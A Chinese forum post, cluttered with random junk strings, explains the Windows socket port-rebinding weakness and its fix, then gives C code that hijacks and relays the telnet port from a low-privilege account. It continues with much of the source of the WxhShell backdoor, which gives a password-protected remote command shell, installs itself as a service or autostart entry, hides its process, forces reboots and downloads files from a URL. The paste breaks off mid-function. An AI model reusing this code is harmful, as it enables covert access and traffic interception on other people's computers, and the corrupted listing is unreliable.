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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !YYI{BJ7:N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,l+lokD-#  
7jPPN  
  saddr.sin_family = AF_INET; #;4<dDVy  
D"UCe7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [CTE"@A  
l.[S.@\=.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SM;UNIRVE  
wK>a&`<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 us%dw&   
2l^hnog|  
  这意味着什么?意味着可以进行如下的攻击: T?B753I  
0' j/ 9vm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -9W)|toWb"  
O~D>F*_^j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YGFE(t;lPU  
Wwo'pke  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >|Yr14?7  
xvn@zi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j]Y`L?!Q  
82d~>i%T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G(joamfM  
O1]L4V1iH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1X. E:  
QfPsF@+-`7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k;BXt:jDq  
Z'=:Bo{  
  #include Ns ezUk8'  
  #include )zn`qaHK@e  
  #include TC[(mf:8  
  #include    "Bn8WT2?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +OEqDXR+_  
  int main() nbd-f6F6  
  { Ilf;Q(*$>>  
  WORD wVersionRequested; w1>uD]  
  DWORD ret; "]H_;:{f  
  WSADATA wsaData; %?  87#|  
  BOOL val; ]c/k%] o~  
  SOCKADDR_IN saddr; A><w1-X&=o  
  SOCKADDR_IN scaddr; f0Wbc\L[  
  int err; SlK 6KnX  
  SOCKET s; m ^?a/  
  SOCKET sc; *DBm"{q%&k  
  int caddsize; F{,<6/ayRz  
  HANDLE mt; E^'f'\m  
  DWORD tid;   e"g=A=S  
  wVersionRequested = MAKEWORD( 2, 2 ); b~oQhU??"  
  err = WSAStartup( wVersionRequested, &wsaData );  ZDn5d%  
  if ( err != 0 ) { 'LC-/_g  
  printf("error!WSAStartup failed!\n"); 0o-. m  
  return -1; u_31Db<  
  } f%ThS42  
  saddr.sin_family = AF_INET; y@GqAN'DK[  
   _`|te|ccF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MuI>ZoNF  
#^FDG1=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9$<1<  
  saddr.sin_port = htons(23); dC,a~`%O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4zo^ b0v  
  { GQ -fEIi{  
  printf("error!socket failed!\n"); kn 5X:@{  
  return -1; gdr"34%vbM  
  } P6G&3yPt  
  val = TRUE; , yd]R4M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "|k 4<"]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) NAg9EaWja{  
  { HgY [Q}7s  
  printf("error!setsockopt failed!\n"); 8_*31Y   
  return -1; 2?c##Izn  
  } ]:"<if gp$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q3h_4{w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .R";2f3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~9ZW~z'  
"/ 9EUbca  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rg5ZxN|g  
  { -w'_Q"o2  
  ret=GetLastError(); 2oBT _o%/J  
  printf("error!bind failed!\n"); F x 4s)(  
  return -1; (i2R1HCa  
  } uE'O}Y95  
  listen(s,2); .dwy+BzS  
  while(1) e #!YdXSx  
  { GBg~NkC7.  
  caddsize = sizeof(scaddr); C srxi'Pe  
  //接受连接请求 NpPuh9e{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j-$F@p_2F  
  if(sc!=INVALID_SOCKET) `AcUxnO  
  { #];b+ T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XK+" x!   
  if(mt==NULL) Vd&&GI(:?^  
  { Z~S%|{&Br  
  printf("Thread Creat Failed!\n");  WPu-P  
  break; o(L8 -F  
  } NNgpDL*  
  } * a ?qV  
  CloseHandle(mt); |^09ny|  
  } s;!_'1pi@  
  closesocket(s); R]LuZN  
  WSACleanup(); fFe{oR   
  return 0; (,`R>Dk  
  }   zhdS6Gk+  
  DWORD WINAPI ClientThread(LPVOID lpParam) $S6%a9m   
  { rWMG6+Scb  
  SOCKET ss = (SOCKET)lpParam; % S vfY{  
  SOCKET sc; uyqu n@q  
  unsigned char buf[4096]; gJFx#s0?6.  
  SOCKADDR_IN saddr; zBjtPtiiI8  
  long num; fHV%.25  
  DWORD val; nDU=B.?E{O  
  DWORD ret; p[^a4E_v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ip_deP@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]I^b&N  
  saddr.sin_family = AF_INET; I%<LLkQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l^k/Y ]  
  saddr.sin_port = htons(23); qG)M8xk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yQz6K6p  
  { ;Pw\p^wz  
  printf("error!socket failed!\n"); A||,|He~  
  return -1; 6"djX47j  
  } S*3*Q l*  
  val = 100; &l8eljg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )W,.xP  
  { [:BD9V  
  ret = GetLastError(); cF V[k'F  
  return -1; +Y! P VMF  
  } Wc HL:38  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y>! 8mDvZ  
  { nl)l:A+q8  
  ret = GetLastError(); asc Y E  
  return -1; ,j!%,!n o  
  } 2{}8_G   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5._1G| 3  
  { xO_u  
  printf("error!socket connect failed!\n"); uvMc B9  
  closesocket(sc); {9Ug9e{ ~  
  closesocket(ss); AW <"3 !@  
  return -1; ZBuh(be  
  } [k<.BCE  
  while(1) P _x(`H  
  { DD fw& y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;.U<Lr^9#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {A`J0ol<B9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E (.~[-K4  
  num = recv(ss,buf,4096,0); "$k rK7Z  
  if(num>0) )&{<gyS1  
  send(sc,buf,num,0); ,_M  
  else if(num==0) HD_ #-M  
  break; : *8t,f~s^  
  num = recv(sc,buf,4096,0); J?%ecCN  
  if(num>0) (Go1@;5I  
  send(ss,buf,num,0); 3j7Na#<tL3  
  else if(num==0) 8= "01  
  break; ^JM O POm  
  } 7R7e3p,K  
  closesocket(ss); PJF1+I.%c#  
  closesocket(sc); :*I=' M9B  
  return 0 ; q@&6&cd  
  } H8!)zZ  
5"9 '=LV~  
OK" fFv  
========================================================== ?1.W F}X'  
 7CwQmVe+  
下边附上一个代码,,WXhSHELL Ib(G!oO:E-  
(.pi,+Ws  
========================================================== n@$("p  
6PyW(i(bs  
#include "stdafx.h" ) #l&BV5  
~J![Nx/  
#include <stdio.h> qYP;`L}o#  
#include <string.h> {!&^VXZIT  
#include <windows.h> !~Ptnr`;  
#include <winsock2.h> z'01V8e  
#include <winsvc.h> Y !%2vOt  
#include <urlmon.h> k+@,m\tE  
8J)Kn4jq  
#pragma comment (lib, "Ws2_32.lib") ZJ8"5RW  
#pragma comment (lib, "urlmon.lib") }eAV8LU  
><xJQeW  
#define MAX_USER   100 // 最大客户端连接数 eb>jT:  
#define BUF_SOCK   200 // sock buffer lOy1vw'  
#define KEY_BUFF   255 // 输入 buffer (Xl+Zi>\{  
$1y8X K7r  
#define REBOOT     0   // 重启 b5)a6qtb  
#define SHUTDOWN   1   // 关机 5p]V/<r  
1t/mq?z:  
#define DEF_PORT   5000 // 监听端口 q.kDx_  
f=A`{ 8^  
#define REG_LEN     16   // 注册表键长度 ]@!3os,CNF  
#define SVC_LEN     80   // NT服务名长度 l:+$Ks  
v^dQ%+}7>  
// 从dll定义API jG`,k*eUrJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bn{i+8I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d7G DIYH<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q9Vj8JO"{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4Opf[3]  
_<%YLv  
// wxhshell配置信息 /'a\$G"%6  
struct WSCFG { ` >loleI  
  int ws_port;         // 监听端口 cD t|v~  
  char ws_passstr[REG_LEN]; // 口令 gsY Q"/S9  
  int ws_autoins;       // 安装标记, 1=yes 0=no k$|g)[RE  
  char ws_regname[REG_LEN]; // 注册表键名 Y|6gg  
  char ws_svcname[REG_LEN]; // 服务名 a+^,EY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SUDvKP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WP{U9YF2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &NX7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qp9QS yMs}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N~ajrv}kd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'Q"Mu  
O7oq1JI]Y  
}; uD\rmO{  
++ZP X'|  
// default Wxhshell configuration a@ ^)?cH!z  
struct WSCFG wscfg={DEF_PORT, 7Ue&y8Yf  
    "xuhuanlingzhe", w7c0jIf{  
    1, XS$#\UQ  
    "Wxhshell", y~'%PUN  
    "Wxhshell", >8|V[-H  
            "WxhShell Service", D63?f\  
    "Wrsky Windows CmdShell Service", \M;cF "e-S  
    "Please Input Your Password: ", qpjiQ,\:b  
  1, O^n\lik  
  "http://www.wrsky.com/wxhshell.exe", OX7a72z  
  "Wxhshell.exe" 67Ev$a_d"  
    }; D?FmlDTr[  
cTQ._|M  
// 消息定义模块 ITy/h]0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CfT(a!;Eox  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zY2x_}#Q\"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i|rCGa0}  
char *msg_ws_ext="\n\rExit."; fohZ&f|>  
char *msg_ws_end="\n\rQuit."; DzIV5FG  
char *msg_ws_boot="\n\rReboot..."; P%;lHC #i  
char *msg_ws_poff="\n\rShutdown..."; \5-Dp9vG  
char *msg_ws_down="\n\rSave to "; L}7 TM:%  
U|<>xe*|%  
char *msg_ws_err="\n\rErr!"; 'Ck:=V%}g  
char *msg_ws_ok="\n\rOK!"; LLL;SNY  
m@']%X*(,  
char ExeFile[MAX_PATH]; ?<rZ9$  
int nUser = 0; Yx&d\/9  
HANDLE handles[MAX_USER]; a ?\:,5=  
int OsIsNt; b7y#uL1AE  
W$<Y**y9m  
SERVICE_STATUS       serviceStatus; Uz=o l.E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 22*~CIh~x  
'nS>'yYH#  
// 函数声明 T 0qM "  
int Install(void); N8DouDq  
int Uninstall(void); FNs$k=* 8  
int DownloadFile(char *sURL, SOCKET wsh); _S,UpR~2W  
int Boot(int flag); Gx*B(t]4y  
void HideProc(void); k;K-6<^h  
int GetOsVer(void); ;oO_5[,M  
int Wxhshell(SOCKET wsl); C~WWuju'  
void TalkWithClient(void *cs); Tz~a. h@  
int CmdShell(SOCKET sock); N_G84wxx  
int StartFromService(void); wD /jN:  
int StartWxhshell(LPSTR lpCmdLine); QQ=Kj%R  
<\$?.tTZ {  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d)0|Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )%<,JD  
^%m{yf#  
// 数据结构和表定义 w}s5=>QG%  
SERVICE_TABLE_ENTRY DispatchTable[] = D< kf/hj  
{ ?M^qSo=/~  
{wscfg.ws_svcname, NTServiceMain}, jxZf,]>T  
{NULL, NULL} Dk&(QajL  
}; m.<or?l'y>  
6ma.FvSIM  
// 自我安装 A]1dR\p  
int Install(void) mM~&mAa+Z  
{ I%($,kd}s  
  char svExeFile[MAX_PATH]; U5OFw+J  
  HKEY key; pWn]$HaoG  
  strcpy(svExeFile,ExeFile); F8#MI G   
Vvp{y  
// 如果是win9x系统,修改注册表设为自启动 ^Nu j/  
if(!OsIsNt) { C ^c <s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'V8o["P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \qTp#sF  
  RegCloseKey(key); =A~5?J=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8kC$Z)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _~ 'MQ`P  
  RegCloseKey(key); H?FiZy*[Y  
  return 0; n]7rHV}G  
    } `[e0_g\  
  } =$%-RX7  
} 2jlz#Sk  
else { XB@i{/6K  
aHb&+/HZ  
// 如果是NT以上系统,安装为系统服务 IwOL1\'T4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (N/-blto  
if (schSCManager!=0) &kn?=NW  
{ BS?i!Bm7  
  SC_HANDLE schService = CreateService 6pt|Crvu  
  ( -8vGvI>  
  schSCManager, Y; iI =U  
  wscfg.ws_svcname, |onLJY7)  
  wscfg.ws_svcdisp, s Ytn'&$\  
  SERVICE_ALL_ACCESS, 4>2\{0r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |`pBI0Sjo  
  SERVICE_AUTO_START, <WnIJum  
  SERVICE_ERROR_NORMAL, #DARZhU)  
  svExeFile, um%s9  
  NULL, '+ mI  
  NULL, atW^^4 :  
  NULL, t~)4f.F:  
  NULL, df {\O* 6  
  NULL Ujqnl>l  
  ); /Dyig  
  if (schService!=0) i[MBO`FF  
  { y~Yv^'Epf  
  CloseServiceHandle(schService); ,7 m33Pv*  
  CloseServiceHandle(schSCManager); }_-tJ.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X"mPRnE330  
  strcat(svExeFile,wscfg.ws_svcname); +Z-{6C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X-Ev>3H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :fnJp9c  
  RegCloseKey(key); .JTRFk{W  
  return 0; }D`ZWTjDay  
    } ,9"du  
  } 4=`1C-v?q  
  CloseServiceHandle(schSCManager); X$G:3uoN  
} r\}?HS06  
} \){_\{&  
Pa#Jwo  
return 1; X}5"ZLa7l  
} .gN ziDO  
UtC<TBr  
// 自我卸载 G$)tp^%]  
int Uninstall(void) [O}D^qp  
{ }'86hnW  
  HKEY key; I+ 3qu=  
6xY6EC  
if(!OsIsNt) { vl6|i)D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @P>>:002/  
  RegDeleteValue(key,wscfg.ws_regname); 8G2QI4  
  RegCloseKey(key); lxbC 7?O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M+^ NF\  
  RegDeleteValue(key,wscfg.ws_regname); kGC*\?<LmR  
  RegCloseKey(key); ^CM@VmPp  
  return 0; M,yxPHlN  
  } 9YB?wh'S[  
} t-n'I/^5  
} Nf2lw]-G4  
else { 7xY&7 x(v  
LOu9#w"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qT:`F  
if (schSCManager!=0) \zBZ$5 rE  
{ !KT.p2\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #;lEx'lKN  
  if (schService!=0) H6>tto  
  { A>315!d"  
  if(DeleteService(schService)!=0) { nv7)X2jja  
  CloseServiceHandle(schService); }sJ}c}b  
  CloseServiceHandle(schSCManager); 4~ &X]/_'  
  return 0; ;j[gE  
  } R?,v:S&i7;  
  CloseServiceHandle(schService); ew~uOG+  
  } 7/fJQM  
  CloseServiceHandle(schSCManager); T,Q7 YI  
} "vkM*HP  
} uZ@qlq8  
!>wu7u-  
return 1; a+CJJ3T-  
} ??|,wIRz  
A[`c+&  
// 从指定url下载文件 ~(NFjCUY?  
int DownloadFile(char *sURL, SOCKET wsh) 1K)9fMr]  
{ p%X.$0  
  HRESULT hr; ,`'A"]"  
char seps[]= "/"; O3d Qno  
char *token; Eh|6{LDn!  
char *file; BT^=p  
char myURL[MAX_PATH]; V\Y, 4&bI  
char myFILE[MAX_PATH]; UF\k0oLz  
EM1HwapD  
strcpy(myURL,sURL); D8xE"6T>  
  token=strtok(myURL,seps); Fo5UG2E&  
  while(token!=NULL) tu@-+< *  
  { N6T  
    file=token; !}c\u  
  token=strtok(NULL,seps); a*_&[  
  } C43I(.2g  
Oml /;p  
GetCurrentDirectory(MAX_PATH,myFILE); kp!(e0n  
strcat(myFILE, "\\"); m]'+Eye ]r  
strcat(myFILE, file); ep`8LQf  
  send(wsh,myFILE,strlen(myFILE),0); _5p]Arg?}&  
send(wsh,"...",3,0); E@l@f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n:?a=xY  
  if(hr==S_OK) E0aFHC[  
return 0; xc05GJ  
else %,@e- &>  
return 1; m(5LXH Jnv  
ae2I,Qt%  
} e5lJ)_o  
Jvj* z6/a  
// 系统电源模块 :xO43z  
int Boot(int flag) T :^OW5d  
{ :RYYjmG5;  
  HANDLE hToken; /?|;f2tbV2  
  TOKEN_PRIVILEGES tkp; vS:=%@c>ta  
k^B7M}  
  if(OsIsNt) { Wcl =YB%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Gg:W%&#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _g D9oK  
    tkp.PrivilegeCount = 1; 31M'71s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?VTP|Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V1,~GpNx  
if(flag==REBOOT) { |TJu|zv^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jxq89x  
  return 0; P8 w56  
} }XRfHQk  
else { ^L\w"`,~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) up~p_{x)Q  
  return 0; 5g'aNkF6>  
} 4 'vjU6gW  
  }  j~cG#t]  
  else { gF;C% }  
if(flag==REBOOT) { Ly1t'{"7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q'j00/K  
  return 0; 46 |LIc }  
} =NPo<^Lae  
else { h ^w# I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S3QX{5t\  
  return 0; BHNJH  
} O-~cj7 0\  
} MRK3Cey}%  
OKj\>3  
return 1; *Ct ^jU7  
} 6pZ/C<Y|W  
6$csFW3R  
// win9x进程隐藏模块 X&@>M}  
void HideProc(void) wLg@BSC.  
{ Y]B9*^d<  
tqKX\N=5^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4s <Z KU  
  if ( hKernel != NULL ) 0f5)]  
  { em ]0^otM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6}\J-A/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gq?>Bi;`  
    FreeLibrary(hKernel); "Gq%^^ *  
  } :&RpB^]  
I Vw'YtZ  
return; wc}4:~  
} <c [X^8   
KJV],6d  
// 获取操作系统版本 FuFICF7+C  
int GetOsVer(void) Rp}Sm,w(  
{ Q[aBxy (  
  OSVERSIONINFO winfo; H^$7=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); COH>B1W@  
  GetVersionEx(&winfo); &>ykkrY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _w%{yF6   
  return 1; A{DE7gp!  
  else Z[\nyj  
  return 0; ),-MrL8c%  
} _M- PF$  
7|)K!  
// 客户端句柄模块 C}:_&^DQ  
int Wxhshell(SOCKET wsl) i[vOpg]J  
{ Dd)L~`k{)  
  SOCKET wsh; NnY+=#j7L  
  struct sockaddr_in client; O tR  
  DWORD myID; T{F 'Y%  
T@r%~z  
  while(nUser<MAX_USER) QKt{XB6Y  
{ Cg^1(dBd[9  
  int nSize=sizeof(client); dQNW1-s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1%N[DA^<\  
  if(wsh==INVALID_SOCKET) return 1; jF{\=&fU  
QG XR<Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -}H EV#ev  
if(handles[nUser]==0) "?"+1S  
  closesocket(wsh); iR'Pc3   
else j[fY.>yt&  
  nUser++; dp'k$el  
  } xK_0@6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  .V l  
TF@k{_f  
  return 0; _Oc\hW  
} su~J:~q  
nYnv.5  
// 关闭 socket mnq1WU;<  
void CloseIt(SOCKET wsh) __-V_(/b,x  
{ !L@a;L  
closesocket(wsh); *1U"uJno  
nUser--; D<bH RtP  
ExitThread(0); l9{.~]V  
} |vh{Kb@  
YH0utc  
// 客户端请求句柄 Ve[&_(fP  
void TalkWithClient(void *cs) 6>Is-/hsy  
{ 9aY}+hgb#  
'L veCi_  
  SOCKET wsh=(SOCKET)cs; f;,^ ]mw  
  char pwd[SVC_LEN]; tE:6  
  char cmd[KEY_BUFF]; "!PN+gB  
char chr[1]; m Wh   
int i,j; aByd,uSe)_  
R!RgQwEak  
  while (nUser < MAX_USER) { 7JLjA\k  
nSbcq>3  
if(wscfg.ws_passstr) { " VSma  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JP6+h>ft  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e/<'HM T  
  //ZeroMemory(pwd,KEY_BUFF); KhNO xMZ  
      i=0; JcW<<7R  
  while(i<SVC_LEN) { cdD?QnZ  
2zbV9Bhq  
  // 设置超时 2U'Vq  
  fd_set FdRead; E~c>LF_]Q  
  struct timeval TimeOut;  dm{/  
  FD_ZERO(&FdRead); RjGJfN {  
  FD_SET(wsh,&FdRead); HP[M"u  
  TimeOut.tv_sec=8; }(w9[(K  
  TimeOut.tv_usec=0; 7[YulC-pH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nztnU9OG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p-2PC{% t|  
91}kBj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h@D!/PS  
  pwd=chr[0]; PKX Tj6hj)  
  if(chr[0]==0xd || chr[0]==0xa) { mP -Y9*k  
  pwd=0; rjwP#  
  break; HH7Bg0=(  
  } 'a=QCO 0  
  i++; f^@D uI  
    } kD_616  
L9,O,f  
  // 如果是非法用户,关闭 socket (aSY.#;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _F tI2G9  
} crr#tad.  
.=/TT|eMS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >VB*Xt\C&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ew|e66Tw$  
-zH` 9>J5|  
while(1) { Ydh+iLjhx  
DM3 %+ xY  
  ZeroMemory(cmd,KEY_BUFF); 7H_*1_%ZQ  
xt X`3=s  
      // 自动支持客户端 telnet标准   yMKVF`D*  
  j=0; t@3y9U$  
  while(j<KEY_BUFF) { OEXa^M4x   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >vfbXnN  
  cmd[j]=chr[0]; rHD_sC*  
  if(chr[0]==0xa || chr[0]==0xd) { fwz-)?   
  cmd[j]=0; 2D ' $  
  break; 3 UG UZ  
  } e c4vX  
  j++; W$Op/  
    } *dX 7  
t4r%EP|Zt  
  // 下载文件 U6LENY+Ja  
  if(strstr(cmd,"http://")) { oaM 3#QJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |HA1.Y=  
  if(DownloadFile(cmd,wsh)) ,2Q5'!o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)b:@q3k+n  
  else lD@`xq.M;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;&ypvKG  
  } )LjW=;(b  
  else { 'XW9+jj)/  
e>!=)6[*  
    switch(cmd[0]) { 2~)r,.,  
  %%hG],w  
  // 帮助 ]seOc],4  
  case '?': { R}HNi(%"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dNT<![X\  
    break; G"nGaFT~  
  } 9?4:},FRmE  
  // 安装 +VRM:&  
  case 'i': { 9]PMti  
    if(Install()) 2HF_kYZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y3?)*kz%  
    else XSe\@t~&g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &W$s-qf".  
    break; b!c2j   
    } I9O%/^5^[w  
  // 卸载 T1g3`7C3  
  case 'r': { lka Wwjv_D  
    if(Uninstall()) UA(&_-C\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F`RPXY`ux  
    else %SN"<O!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tqwAS)v=  
    break; u/(~ew I  
    } &^(4yw(~  
  // 显示 wxhshell 所在路径 X@H/"B%u2  
  case 'p': { {P!1VYs5  
    char svExeFile[MAX_PATH]; 4O:y ?D/e  
    strcpy(svExeFile,"\n\r"); F8d:7`lO@/  
      strcat(svExeFile,ExeFile); (KnU-E]L  
        send(wsh,svExeFile,strlen(svExeFile),0); c, FZ{O@  
    break; 0artR~*}  
    } 9 y{R_  
  // 重启 DW0N}>Gp*  
  case 'b': { L(t!C~3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NM0s*s42  
    if(Boot(REBOOT)) Fu[<zA^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y4j\y ? T8  
    else { qcGsx2  
    closesocket(wsh); -DL"Yw}  
    ExitThread(0); dd:vQOF;  
    } ZXC_kmBN/  
    break; k8E{pc6;  
    } D2 X~tl5<  
  // 关机 OI^sd_gkZ  
  case 'd': { S$NJmXhx5  
